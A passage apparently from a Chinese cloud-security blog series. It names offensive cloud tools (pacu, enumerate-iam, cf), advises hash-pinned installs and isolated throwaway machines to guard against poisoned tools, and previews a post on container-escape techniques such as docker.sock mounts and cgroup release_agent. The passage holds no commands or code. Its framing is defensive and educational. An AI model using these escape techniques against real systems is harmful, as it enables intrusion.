andresriancho/enumerate-iam、RhinoSecurityLabs/pacu、teamssix/cf。用pip装依赖时用--require-hashes或者至少把依赖版本固定下来。 - 在隔离环境里跑。理想情况下云工具应该跑在一台专门的、不存放任何真实凭证的机器上,用完即弃。
我把这条写进文章,是因为”工具投毒”在云安全领域已经发生过多次,而且专门挑这个圈子里的人下手。技术再熟,工具来源不干净,一样会翻车。
下一篇讲第四篇:容器逃逸实战。会从”拿到一个容器 shell 之后怎么判断能逃逸”开始,逐条讲 docker.sock 挂载、cgroup release_agent、特权容器、capabilities 和各种内核 CVE 的完整利用命令和前置条件。